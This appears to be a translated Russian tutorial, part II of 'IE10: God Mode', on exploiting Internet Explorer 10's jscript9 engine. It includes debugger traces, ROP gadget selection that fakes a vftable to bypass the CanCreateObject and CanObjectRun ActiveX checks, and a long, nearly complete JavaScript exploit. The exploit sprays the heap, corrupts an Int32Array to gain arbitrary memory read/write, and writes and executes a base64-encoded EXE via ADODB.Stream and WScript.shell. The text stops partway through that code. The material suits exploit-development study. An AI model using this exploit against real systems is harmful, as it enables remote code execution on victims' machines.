Перейти к содержанию
IE10: God Mode Part II
Закрепление «Режима Бога»
Перед тем как делать что то радикальное, давайте найдем место где падает IE. Для этого добавим несколько алертов в коде (комментарии в коде сохранили свой вид по причине их перевода в предыдущих частях и ради близкого ознакомления читателя с работой автора):
Code:
function createExe(fname, data) {
alert("3"); // <------------------------------------------
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
alert("4"); // <------------------------------------------
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
alert("1"); // <------------------------------------------
shell = new ActiveXObject("WScript.shell");
alert("2"); // <------------------------------------------
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
write(mshtml+0xc555e0+0x14, old); // God mode off!
alert("All done!");
Теперь перезагрузим страницу в IE (перейдя на 127.0.0.1), изменим длину Int32Array по адресу 0xc0af000 и посмотрим что случится. Вы должны увидеть все три алерта от 1 до 3 и потом падение IE. Следуя из этого мы можем с уверенностью сказать что падение происходит на следующем участке кода:
Code:
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
Но почему здесь нету никаких проблем с WScript.shell?
До этого надо немного подумать: ADODB.Stream был отключен Майкрософтом! Возможно что-то случилось в jscript9!ScriptSite::CreateObjectFromProgID… Давайте посмотрим.
Повторите процесс и, когда появятся все три алерта, установите точку останова на jscript9!ScriptSite::CreateObjectFromProgID. Во время отладки войдем внутрь функции CreateObjectFromProgID:
Code:
jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff mov edi,edi
04f3becd 55 push ebp
04f3bece 8bec mov ebp,esp
04f3bed0 83ec34 sub esp,34h
04f3bed3 a144630f05 mov eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5 xor eax,ebp
04f3beda 8945fc mov dword ptr [ebp-4],eax
04f3bedd 53 push ebx
04f3bede 8b5d0c mov ebx,dword ptr [ebp+0Ch]
04f3bee1 56 push esi
04f3bee2 33c0 xor eax,eax
04f3bee4 57 push edi
04f3bee5 8b7d08 mov edi,dword ptr [ebp+8]
04f3bee8 8bf2 mov esi,edx
04f3beea 8975dc mov dword ptr [ebp-24h],esi
04f3beed 8945cc mov dword ptr [ebp-34h],eax
04f3bef0 897dd0 mov dword ptr [ebp-30h],edi
04f3bef3 8945d4 mov dword ptr [ebp-2Ch],eax
04f3bef6 8945d8 mov dword ptr [ebp-28h],eax
04f3bef9 8945e8 mov dword ptr [ebp-18h],eax
04f3befc 85ff test edi,edi
04f3befe 0f85e26a1600 jne jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604 mov eax,dword ptr [esi+4]
04f3bf07 e8d5000000 call jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0 test eax,eax
04f3bf0e 8d45ec lea eax,[ebp-14h]
04f3bf11 50 push eax
04f3bf12 51 push ecx
04f3bf13 0f84d86a1600 je jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05 call dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0 test eax,eax
04f3bf21 0f88e867fcff js jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec lea eax,[ebp-14h]
04f3bf2a 50 push eax
04f3bf2b 8b4604 mov eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000 call jscript9!ScriptEngine::CanCreateObject (04f3c315) <------------------
04f3bf33 85c0 test eax,eax <------------------ EAX = 0
04f3bf35 0f84d467fcff je jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f) <----- je taken!
.
.
.
04f0270f bead010a80 mov esi,800A01ADh
04f02714 e99d980300 jmp jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f pop edi
04f3bfba 8bc6 mov eax,esi
04f3bfbc 5e pop esi
04f3bfbd 33cd xor ecx,ebp
04f3bfbf 5b pop ebx
04f3bfc0 e87953f2ff call jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9 leave
04f3bfc6 c20800 ret 8
Как видно из кода, CanCreateObject возвращает 0 и уже знакомая нам функция CanObjectRun даже не вызывается. Что случится если мы заставим CanCreateObject возвращать true (EAX = 1)? Попробуйте повторить весь процесс, но в этот раз, сразу после вызова CanCreateObject, установите EAX в 1 (используя r eax=1). Помните то, что вам надо сделать это дважды, потому что мы создали два ADODB.Stream объекта.
Сейчас появился алерт с 4 но после его закрытия всё упало. Почему мы не пытаемся держать Режим Бога включенным только тогда, когда это действительно необходимо?
Изменим немного код:
Code:
var old = read(mshtml+0xc555e0+0x14);
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
write(mshtml+0xc555e0+0x14, old); // God mode off!
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God mode off!
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
alert("All done!");
Попробуем снова загрузить страницу и установить EAX в 1 сразу после вызова CanCreateObject. В этот раз установим точку останова прямо на CanCreateObject:
Code:
bp jscript9!ScriptEngine::CanCreateObject
Когда сработает точка останова, нажмите Shift + F11 и потом установите EAX в 1 (в первый раз там уже будет 1). ОК, теперь ничего не падает но и калькулятора не видно. Если вы повторите процесс с включенным Developer Tools то увидите следующую ошибку:
Пока что оставим эту ошибку в покое. Сейчас мы должны быть рады тому, что почти решили проблему с Режимом Бога. Нам всё еще надо изменить поведение CanCreateObject так, что бы эта функция всегда возвращала true. Снова повторим весь процесс и поставим точку останова на CanCreateObject. Когда она сработает, надо изучить CanCreateObject:
Code:
jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff mov edi,edi
04dcc317 55 push ebp
04dcc318 8bec mov ebp,esp
04dcc31a 51 push ecx
04dcc31b 51 push ecx
04dcc31c 57 push edi
04dcc31d 8bf8 mov edi,eax
04dcc31f f687e401000008 test byte ptr [edi+1E4h],8
04dcc326 743d je jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc lea eax,[ebp-4]
04dcc32b 50 push eax
04dcc32c e842000000 call jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0 test eax,eax
04dcc333 7835 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc mov eax,dword ptr [ebp-4]
04dcc338 8b08 mov ecx,dword ptr [eax] <------------------ ecx = object.vftptr
04dcc33a 6a00 push 0
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8]
04dcc346 6a04 push 4
04dcc348 52 push edx +---------------------
04dcc349 6800120000 push 1200h |
04dcc34e 50 push eax v
04dcc34f ff5110 call dword ptr [ecx+10h] ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al
04dcc360 5f pop edi
04dcc361 c9 leave
04dcc362 c20400 ret 4
Посмотрите на виртуальный вызов по адресу 04dcc34f: мы можем использовать тот же прием что использовали с CanObjectRun! Как и до этого, EAX указывает на vftable:
Code:
0:007> dds ecx
6ac755e0 6a0b2681 MSHTML!PlainQueryInterface
6ac755e4 6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8 6a08609d MSHTML!PlainRelease
6ac755ec 6a078eb5 MSHTML!TearoffThunk3
6ac755f0 6a25604a MSHTML!TearoffThunk4 <----------- нам надо изменить это для CanCreateObject
6ac755f4 04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf <---------- это наш фикс для CanObjectRun!
6ac755f8 6a129a77 MSHTML!TearoffThunk6
6ac755fc 6a201a73 MSHTML!TearoffThunk7
6ac75600 6a12770c MSHTML!TearoffThunk8
6ac75604 6a12b22c MSHTML!TearoffThunk9
6ac75608 6a12b1e3 MSHTML!TearoffThunk10
6ac7560c 6a257db5 MSHTML!TearoffThunk11
6ac75610 6a12b2b8 MSHTML!TearoffThunk12
6ac75614 6a332a3d MSHTML!TearoffThunk13
6ac75618 6a242719 MSHTML!TearoffThunk14
6ac7561c 6a254879 MSHTML!TearoffThunk15
6ac75620 6a12b637 MSHTML!TearoffThunk16
6ac75624 6a131bf3 MSHTML!TearoffThunk17
6ac75628 6a129649 MSHTML!TearoffThunk18
6ac7562c 6a4a8422 MSHTML!TearoffThunk19
6ac75630 6a58bc4a MSHTML!TearoffThunk20
6ac75634 6a1316d9 MSHTML!TearoffThunk21
6ac75638 6a2e7b23 MSHTML!TearoffThunk22
6ac7563c 6a212734 MSHTML!TearoffThunk23
6ac75640 6a2e75ed MSHTML!TearoffThunk24
6ac75644 6a4c28c5 MSHTML!TearoffThunk25
6ac75648 6a3c5a7d MSHTML!TearoffThunk26
6ac7564c 6a3a6310 MSHTML!TearoffThunk27
6ac75650 6a3bff2d MSHTML!TearoffThunk28
6ac75654 6a3aa803 MSHTML!TearoffThunk29
6ac75658 6a3cd81a MSHTML!TearoffThunk30
6ac7565c 6a223f19 MSHTML!TearoffThunk31
Как видите, это та же vftable которую мы модифицировали для CanObjectRun. Теперь нам надо изменить [ecx+10h] для CanCreateObject. Мы можем попробовать переписать [ecx+10h] адресом эпилога CanCreateObject, но это не будет работать. Проблема в том, что нам надо обнулить EDI перед тем как мы вернемся из CanCreateObject. Представление кода сразу после вызова CanCreateObject:
Code:
04ebbf2e e8e2030000 call jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0 test eax,eax
04ebbf35 0f84d467fcff je jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05 push 5
04ebbf3d 58 pop eax
04ebbf3e 85ff test edi,edi
04ebbf40 0f85b66a1600 jne jscript9!memset+0xf3a6 (050229fc) <----------------- сработает если EDI != 0
Если jne сработает, то CreateObjectFromProgID и CreateActiveXObject завалят работу.
Я более часа искал, но так и не нашел подходящего кода. Что то вроде такого:
Code:
xor edi, edi
leave
ret 4
было бы в тему, но такого не существует. Я продолжил искать другие варианты но тоже безрезультатно. Я также искал такое:
Code:
mov dword ptr [edx], 0
ret 20h
и его вариации. Этот код имитировал бы вызов оригинальной функции и очищал бы [ebp-8]. Этим способом CanCreateObject возвращал бы true:
Code:
04dcc338 8b08 mov ecx,dword ptr [eax]
04dcc33a 6a00 push 0
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8] <---------- edx = ebp-8
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh <-------- если [ebp-8] == 0, тогда ...
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al <-------- ... тогда EAX = 1
04dcc360 5f pop edi <-------- восстановить EDI (был 0)
04dcc361 c9 leave
04dcc362 c20400 ret 4
Это так же очистило бы EDI из-за того что EDI был в нуле при вызове CanCreateObject.
Далее, я попробовал провернуть ROP. Начал искать что-то похожее на это:
К сожалению, поиски не увенчались успехом. Если только мы могли бы управлять некотроым регистром рядом с ECX…
Ну, получается, что мы можем контролировать EAX и xchg eax, esp gadgets определенно более общие нежели просто xchg ecx, esp гаджет.
Схема которую будем использовать:
Мы уже знаем что CanCreateObject и CanObjectRun вызывают виртуальные функции из одной и той же VFTable. Вы можете легко проверить что они не только вызывают функции из той же таблицы, но и вызывают их из того же самого объекта. Это так же показано на схеме выше.
Посмотрим еще раз на соответствующий код в CanCreateObject:
Code:
04dcc338 8b08 mov ecx,dword ptr [eax] <----------- мы котролируем EAX, который указывает на "object"
04dcc33a 6a00 push 0 <----------- теперь, ECX = object."vftable ptr"
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8]
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] <----------- вызов gadget 1 (на картинке)
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al
04dcc360 5f pop edi
04dcc361 c9 leave <----------- это gadget 4
04dcc362 c20400 ret 4
Первый гаджет при вызове делает ESP указателем на object+4 и возвращает gadget 2. После гаджетов 2 и 3, EDI в нуле а EAX не 0. Гаджет 4 восстаналивает ESP и возвращаемся из CanCreateObject.
Вот javascript код для настройки объекта и vftable как на картинке:
Code:
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
// If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject
var pp_obj = ... ptr to ptr to object ...
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
Код должен быть легок для понимания. Мы создаем object (new_object) и vftable (new_vftable) используя два Int32Arrays (в частности, их буферы необработанных данных) и проводим object к указателю на vftable. Помните что наша vftable это модифицированная копия старой vftable. Возможно не стоило делать копии, так как там используются только два поля (по смещению 0x10 и 0x14), но это не помешает.
Теперь мы можем включить Режим Бога сделав EAX указателем на наш объект и отключить его сделав EAX указателем на оригинальный объект.
Контроль EAX
Что бы увидеть, можем ли мы контролировать EAX, нам надо разобраться с тем, откуда поступает значение EAX. Я утверждал, что EAX может контролироваться и показывал как мы можем заэксплоитить это сделав ROP. Теперь ннаступило время показать как именно EAX можно контроллировать. В реале, это та вещь которую вы должны сделать первым делом. Сперва вы должны определить сможете ли вы что-то контролировать, а затем уже писать для этого код.
Конечно, это возможно сделать в WinDbg, но для таких вещей лучше подходить IDA Pro.
IDA очень умный дизассемблер. Главная особенность в том, что она интерактивна, а это значит что после завершения дизассемблирования кода мы можем манипулировать результатом. К примеру, можно исправлять неточности дизассемблирования, добавлять комментарии, определять структуры и т.д.
Если вы хотите сделать карьеру вирусного аналитика или разработчика эксплойтов, вам определенно надо разобраться с IDA или купить её Pro версию.
CanCreateObject в jscript9. Найдем путь к модулю в WinDbg:
Code:
0:015> lmf m jscript9
start end module name
71c00000 71ec6000 jscript9 C:\Windows\SysWOW64\jscript9.dll
Откройте jscript9.dll в IDA и, если надо будет, укажите путь для баз которые создает IDA. При запросе, раазрешите скачивать символы для jscript9.dll. Нажмите Ctrl + P (прыжок к функции), нажмите на Search и введите CanCreateObject.
Теперь CanCreateObject должна быть выбрана так, как показано на рисунке:
После того как вы дважды кликните по ней, вы должны увидеть граф функции CanCreateObject. Если вы видите линейный код нажмите пробел. Переименовать символ можно кликнув на него или нажав n. У IDA'ы есть полезный функционал: когда выделяешь текст, вы совпадения подсвечиваются. Это полезно для отслеживания некоторых вещей.
Посмотрим на следующее изображение:
Ясно что [ebp+object] (я переименовал var_4 в object) модифицирован внутри ?GetSiteHostSecurityManagerNoRef.
Посмотрим на функцию:
Как видите, наша переменная object переписана значением [edi+1F0h]. Мы также видим, что если [edi+1F0h] равно 0, тогда произошла инициализация.
Нам нужно запомнить этот факт для дальнейшей работы. Теперь, когда мы знаем что нам надо следить за EDI, посмотрим еще раз на CanCreateObject:
Что бы увидеть какой код вызывает CanCreateObject, кликните по любому месту указанному на картинке и нажмите Ctrl + X. Далее выделите только показанные функции. Мы снова в CreateObjectFromProgID:
Вот что мы разузнали за всё это время:
Code:
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
Теперь нам надо попасть к тому, кто вызывал CreateObjectFromProgID и следовать за EDX. Для этого кликните по сигнатуре CreateObjectFromProgID и прожмите Ctrl + X. Вы должны увидеть две опции: конечно же, выберите CreateActiveXObject.
Теперь мы внутри CreateActiveXObject:
Обновим нашу маленькую схему:
Code:
esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
Теперь надо следовать за первым аргументом переданном в CreateActiveXObject. Как и прежде, перейдем к коду который вызывает CreateActiveXObject. Смотрим на следующее изображение (я сгруппировал некоторые узлы для компактности):
После этого, наша схема приобретет полный вид:
Code:
eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]
Теперь мы должны следовать за первым аргументом переданным в JavascriptActiveXObject::NewInstance. Когда мы кликнем на его сигнатуре и прожмем Ctrl + X мы увидим ссылки которые нам не знакомы. Время вернутся в WinDbg.
Откройте в IE страницу со следующим кодом:
Code:
<html>
<head>
<script language="javascript">
alert("Start");
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>
Установите точку останова на CanCreateObject:
Code:
bp jscript9!ScriptEngine::CanCreateObject
Когда она сработает, зайдем внутрь функции прожав Shift + F11, пока мы еще не попали в jscript9!Js::InterpreterStackFrame::NewScObject_He lper.
Вы увидите следующее:
Code:
045725c4 890c82 mov dword ptr [edx+eax*4],ecx
045725c7 40 inc eax
045725c8 3bc6 cmp eax,esi
045725ca 72f5 jb jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec push dword ptr [ebp-14h]
045725cf ff75e8 push dword ptr [ebp-18h]
045725d2 ff55e4 call dword ptr [ebp-1Ch]
045725d5 8b65e0 mov esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4 <--------- we're here!
045725d8 8945d8 mov dword ptr [ebp-28h],eax
045725db 8b4304 mov eax,dword ptr [ebx+4]
045725de 83380d cmp dword ptr [eax],0Dh
Теперь мы видим почему IDA не смогла отследить этот вызов: он динамический. А это значит что местоположение вызова не статично.
Изучим первый аргумент:
Code:
0:007> dd poi(ebp-18)
032e1150 045e2b70 03359ac0 03355520 00000003
032e1160 00000000 ffffffff 047c4de4 047c5100
032e1170 00000037 00000000 02cc4538 00000000
032e1180 0453babc 00000000 00000001 00000000
032e1190 00000000 032f5410 00000004 00000000
032e11a0 00000000 00000000 00000000 00000000
032e11b0 04533600 033598c0 033554e0 00000003
032e11c0 00000000 ffffffff 047c4de4 047c5660
Первое значение может быть указателем на vftable. Давайте посмотрим:
Code:
0:007> ln 045e2b70
(045e2b70) jscript9!JavascriptActiveXFunction::`vftable' | (04534218) jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
jscript9!JavascriptActiveXFunction::`vftable' = <no type information>
И действительно, мы правы! Более того, JavascriptActiveXFunction это функция ActiveXObject которую мы использовали для создания ActiveX объектов! Это наша отправная точка.
Из этого видна такая схема:
Code:
X = адрес ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]
Проверим являются ли наши находки истинными. Для это используем следующий код:
Code:
<html>
<head>
<script language="javascript">
a = new Array(0x2000);
for (var i = 0; i < 0x2000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < 0x1000; ++j)
a[i][j] = ActiveXObject;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Откройте его в IE и изучите в WinDbg память по адресу 0xadd0000 (или выше, если захотите). Память должна быть заполнена адресами ActiveXObject. В моем случае адрес этот соответствует 03411150. Получим адрес объекта:
Code:
0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
Evaluate expression: 0 = 00000000
Адрес – 0. Что? Смотрим еще раз на изображение:
Для инициализации указателя на object нам надо вызвать CanCreateObject, т.е. нам надо создать объект ActiveX. Изменим немного javascript код:
Code:
<html>
<head>
<script language="javascript">
new ActiveXObject("WScript.shell");
a = new Array(0x2000);
for (var i = 0; i < 0x2000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < 0x1000; ++j)
a[i][j] = ActiveXObject;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Повторите процесс и попробуйте еще раз получить адрес объекта:
Code:
0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0 6d0f55e0 00000001 6c4d7408 00589620
005de0d0 6c532ac0 00000000 00000000 00000000
005de0e0 00000005 00000000 3fd6264b 8c000000
005de0f0 005579b8 005de180 005579b8 5e6c858f
005de100 47600e22 33eafe9a 7371b617 005a0a08
005de110 00000000 00000000 3fd62675 8c000000
005de120 005882d0 005579e8 00556e00 5e6c858f
005de130 47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0) MSHTML!s_apfnPlainTearoffVtable | (6d0f5ce8) MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
MSHTML!s_apfnPlainTearoffVtable = <no type information>
Замечательно: теперь это работает!
Теперь можно закончить наш javascript код:
Code:
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // указатель на object
Обратите внимание, что мы можем использовать «старый» Режим Бога для создания WScript.shell без показа предупреждающих сообщений.
Полный код:
Code:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
